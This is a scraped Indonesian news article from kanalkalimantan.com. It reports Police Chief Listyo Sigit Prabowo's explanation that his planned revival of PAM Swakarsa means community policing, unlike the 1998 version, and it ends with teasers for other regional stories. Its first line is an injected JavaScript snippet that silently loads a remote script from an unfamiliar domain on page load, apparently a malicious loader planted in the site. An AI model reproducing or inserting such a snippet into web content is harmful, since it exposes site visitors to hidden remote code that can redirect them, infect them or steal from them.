(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, JAKARTA – Kapolri Jenderal Listyo Sigit Prabowo buka suara soal wacana menghidupkan kembali Pasukan Pengamanan Masyarakat atau PAM Swakarsa.
Dia menegaskan, wacana yang ia gulirkan ketika menjalani fit and proper test di DPR RI beberapa waktu lalu, berbeda dengan pengertian PAM Swakarsa masa lalu.
Listyo menyebut, dalam Undang-Undang Kepolisian, peran aktif masyarakat dalam wilayah Kamtibmas memang tertulis sebagai PAM Swakarsa.
Dalam konteks itu, kata Listyo, PAM Swakarsa adalah sebuah bentuk pemolisian masyarakat.
“Dalam UU Kepolisian, ada peran partisipasi masyarakat dalam kegiatan-kegiatan yang bersifat kamtibmas, di situ ditulis PAM Swakarsa. Jadi kegiatan-kegiatan yang kita maksud adalah yang berkaitan dengan pemolisian masyarakat,” ungkap dia di Gedung PP Muhammadiyah, Jakarta Pusat, Jumat (29/1/2021).
Listyo mengatakan, dengan wacana yang ia gulirkan, diharapkan partisipasi masyarakat dalam menjaga lingkungan bisa tercipta.
Bersama Polri, lanjut dia, masyarakat bisa mengatasi masalah-masalah Kamtibmas yang terjadi.
Eks Kabareskrim Polri itu pun memberi contoh seperti Satpam, pos kamling — yang kini mulai redup–hingga pecalang di Bali.
“Tentunya peran aktif dan partisipasi masyarakat dalam menjaga lingkungannya dari permasalahan-permasalahan atau bersama-sama Polri dengan masyarakat menjaga agar tidak terjadi peristiwa peristiwa ataupun masalah-masalah yang kemudian menjadikan atau mengganggu masalah Kamtibmas,” sambungnya.
Dengan demikian, Listyo menyatakan jika PAM Swakarsa yang dia wacanakan berbeda dengan tahun 1998.
Sebelumnya, Listyo berencana menghidupkan Pasukan Pengamanan Masyarakat Swakarsa setelah menjadi Kapolri. Melibatkan kembali PAM Swakarsa bertujuan untuk membantu menciptakan keamanan negara.
“Ke depan, tentunya PAM Swakarsa harus lebih diperanaktifkan dalam mewujudkan harkamtibmas, jadi kita hidupkan kembali,” kata Listyo dalam fit and proper test calon kapolri di DPR, Rabu (20/1/2021).
PAM Swakarsa nanti akan diintegerasikan dengan teknologi dan informasi milik Polri sehingga mereka terintegrasi dengan petugas kepolisian.(suara)
Editor: suara
KANALKALIMANTAN.COM, BANJARMASIN – Dinas Perpustakaan dan Kearsipan (Dispersip) Provinsi Kalimantan Selatan (Kalsel) bersama Lembaga Pemasyarakatan… Read More
KANALKALIMANTAN.COM, JAKARTA - Setelah hampir sebulan mejabat Plt (Pelaksana tugas) Gubernur Kalimantan Selatan (Kalsel), H… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Provinsi Kalimantan Selatan (Kalsel) memasang titik Alat Pemberi Isyarat… Read More
KANALKALIMANTAN.COM, PARINGIN - Antisipasi dan kesiapsiagaan menghadapi bencana banjir, puting beliung dan tanah longsor (Batingsor),… Read More
KANALKALIMANTAN.COM, JAKARTA - Menjelang perayaan hari besar Natal 2024 dan pergantian tahun ke 2025, PT… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob melanda sejumlah wilayah di Kota Banjarmasin, Provinsi Kalimantan Selatan (Kalsel).… Read More
This website uses cookies.